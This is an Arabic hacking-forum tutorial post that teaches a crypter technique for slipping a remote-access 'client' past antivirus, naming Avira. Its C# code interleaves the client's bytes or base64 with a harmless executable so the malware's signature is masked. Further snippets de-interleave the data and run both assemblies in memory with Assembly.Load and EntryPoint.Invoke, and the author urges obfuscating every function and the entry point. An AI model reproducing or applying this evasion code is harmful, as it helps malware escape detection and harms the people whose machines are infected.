18.02.2018 حقن بايتات الكلاينت بملف آخر -طريقة جديدة-


  • الـلـهـم انـصـر اخـوانـنـا الـمـسـلـمـيـن فـي بـورمـا وكـن مـعـهـم يـاربـاه يـاربـاه

BasharBachir

اللهم اغفر له وارحمه
طاقم الإدارة
28 أكتوبر 2018
2,620
3,576
1
مثل ماتعرفو نزلت مواضيع كثيرة عن حقن بايتات الملف بنهاية الاسمبلي وقراءة الاسمبلي لنفسه
واختيار بايتات معينه وتجاوز لينجث الملف الاصلي ..
انت لو عندك اسمبلي عبارة عن مسج بوكس اعمل نسخة منه
واحقن بايتات المسج بوكس بالمسج بوكس الاولى وافحص
رح تشوف الافيرا نشب لك مع انه المسج بوكس بحد ذاتها كلين
القصة هذه صارت معي وكانت زاعجتني
الافيرا صار بيشوف اي حقن او زيادة بعد نهاية هيدر الملف وسكشنات الاسمبلي على انه فايروس
"الحق معه نحنا مالنا امان" :ssse:
قلت ليش مانكتب ملف محتواه يكون بايتاته تكون عبارة عن جمع بايتات الملفين
الكلاينت والملف الثاني اللي رح يتم الحقن فيها بطريقتنا او العكس
يعني رح وضح
الملف بيكون فيه التالي
البايت الاول من بايتات الكلاينت ثم البايت الاول من بايتات الملف الثاني
ثم البايت الثاني من بايتات الكلاينت ثم البايت الثاني من بايتات الملف الثاني
ثم البايت الثالث من بايتات الكلاينت ثم البايت الثالث من بايتات الملف الثاني
اظن الفكرة وضحت ..
ومن ثم نشغل واحد منهم او نشغلهم اثنينهم مش مشكلة ..
الطريقة ولو شغلت بالاخير فقط بايتات الكلاينت رح تفيدك بانك موهت بايتات الكلاينت
وبانك اخفيت DNA الكلاينت والناتج كلين ..
طبقت الشرح على قيم بيس64 وعلى البايت بشكل مباشر للملفين

انا قلت بالفديو بس برجع بعيد هنا طريقة الكتابة بسيطة جدا عشان توضح الفكرة لااكثر
والا انتو لازم اكيد ماتلتزمو فيها حاول اخفي الدوال كلها مثل ماقلت وطبعا نقطة الادخال
ماتخلها مثل ايام العصر الحجري اللي شرحت عليها ..مابدي عقد الاكواد لااكثر
الان هنا لجلب قيم البيس64 للملفين بحيث يكون
اول محرف من قيم البيس64 للملف الاول يتبعه اول محرف لقيم البيس64 للملف الثاني
وهكذا ..
C#:
var byt = Convert.ToBase64String(File.ReadAllBytes("Client.exe"));
var byt2 = Convert.ToBase64String(File.ReadAllBytes("WindowsFormsApp98.exe"));
var i = 0;
var ss = String.Empty;
foreach (var c in byt)
{
    ss += $"{c}" + byt2[i];
    i++;
}
File.WriteAllText("0to255.txt", ss);
Process.Start("0to255.txt");
وهنا طريقة مبسطة جدا لسيناريو من سيناريوهات الاستخدام للطريقة
في حال ادارتك للاعتماد على قيم بيس64
C#:
var i = 0;
           var s = "TTVVqqQQAAAAMMAAAAAAAAEEAAAAAAAA////88";
           var ss = String.Empty;
           var ss2 = String.Empty;
 
           foreach (var c in s)
           {
               i++;
               if (Math.Abs(i % 2) >= Double.Epsilon * 100)
               {
                   ss += c;
               }
               else
               {
                   ss2 += c;
               }
           }
           System.Reflection.Assembly.Load(Convert.FromBase64String(ss)).EntryPoint.Invoke(null, null);
           AppDomain.CurrentDomain.Load(Convert.FromBase64String(ss2)).EntryPoint.Invoke(null, null);
الان هنا منجي لتطبيق الطريقة على البايت بشكل مباشر
الفانكشن رح تجبلك البايتات بشكل مكرر ومن ثم ان حبيت بتحط البايتات بشكل مباشر بالسورس
او بتحطهم بالريسورس او امبيديد ريسورس او ك ملف بجانب الملف الاصلي "مثل ماتحب"
C#:
Clipboard.SetText(Pbb(File.ReadAllBytes("Client.exe")));
File.WriteAllBytes("merged.exe", new byte[] { 77, 77, 90, 90, 144, 144, 0, 0, 3, 3, 0, 0 });
 
static string Pbb<T>(T bytes)
      {
          var sb = new StringBuilder();
          var byt2 = File.ReadAllBytes("WindowsFormsApp98.exe");
          var _i = 0;
          foreach (var b in (IEnumerable) bytes)
          {
              
              sb.Append($"{b},{byt2[_i]},");
              _i++;
          }
          return sb.ToString();
      }
الان هنا سيناريو بسيط جدا لتشغيل الكلاينت والملف الاخر
"ممكن مثل ماقلت لك تشغل فقط الكلاينت" > شوف الفديو
والاكواد تم كتابتهم على السريع من قبلي والا فكل شي لازم انه يصير اقوا بطريقة الكتابة
عند السورس النهائي
هنا سيناريو من السيناريوهات اللي ممكن تسويها
"ممكن تستعين ب ليست اوف بايتس" مثل ماعملت قبل
الان هنا بيتم تخزين قيم البايتات لكل ملف بمتغير من نوع سترينج
واضفت بعد كل بايت فراغ عشان بالاخير اعمل Split لاقوم بالتحويل من سترينج لسترينج اراي
ومن ثم احول من سترينج اراي لبايت اراي عن طريق الفانكشن تحت بتشوفها ..
طبعا الـremove عشان اخر القيم بكل متغير رح يكون فيه فراغ لازم انك تحذفه
بالاخير انا عملتكم بالدرس 0 كيف تخفو الدوال تخفي كل شي remove,splir,Convert
فلاتلتزم بشكل السورس النهائي ..فقط للتوضيح ولان ماعندي وقت خليته سهل
C#:
var i = 0;
          byte[] res =  {77,77,90,90,144,144,0,0}; // or resource or etc ..
          var ss = String.Empty;
          var ss2 = String.Empty;
 
          foreach (var c in res)
          {
              i++;
              if (Math.Abs(i % 2) <= Double.Epsilon * 100)
              {
                  ss += c + " ";
              }
              else
              {
                  ss2 += c + " ";
              }
          }
 
          var ee = ss.Remove(ss.Length - 1);
          var ee2 = ss2.Remove(ss2.Length - 1);
 
          System.Reflection.Assembly.Load(StringArraytobytearray(ee2.Split(' '))).EntryPoint.Invoke(null, null);
          System.Reflection.Assembly.Load(StringArraytobytearray(ee.Split(' '))).EntryPoint.Invoke(null, null);
      }
      private static byte[] StringArraytobytearray(IList<string> values)
      {
          var cl = new byte[values.Count];
          for (var i = 0; i < values.Count; i++)
          {
              cl[i] = Convert.ToByte(values[i]);
          }
          return cl;
      }
الفديو بالرابط هنا
https://drive.google.com/file/d/1phrff27nxYv5CYdE1LqJZd3M-bjE5UTU/view?usp=sharing
 

إخلاء مسؤلية

  • المنتدى غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به protection-tips غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء كل شخص يحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه التعليقات المنشورة لا تعبر عن رأي معهد المنتدى ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر).).

الإنتقال السريع

User Menu

تابعنا على الفيسبوك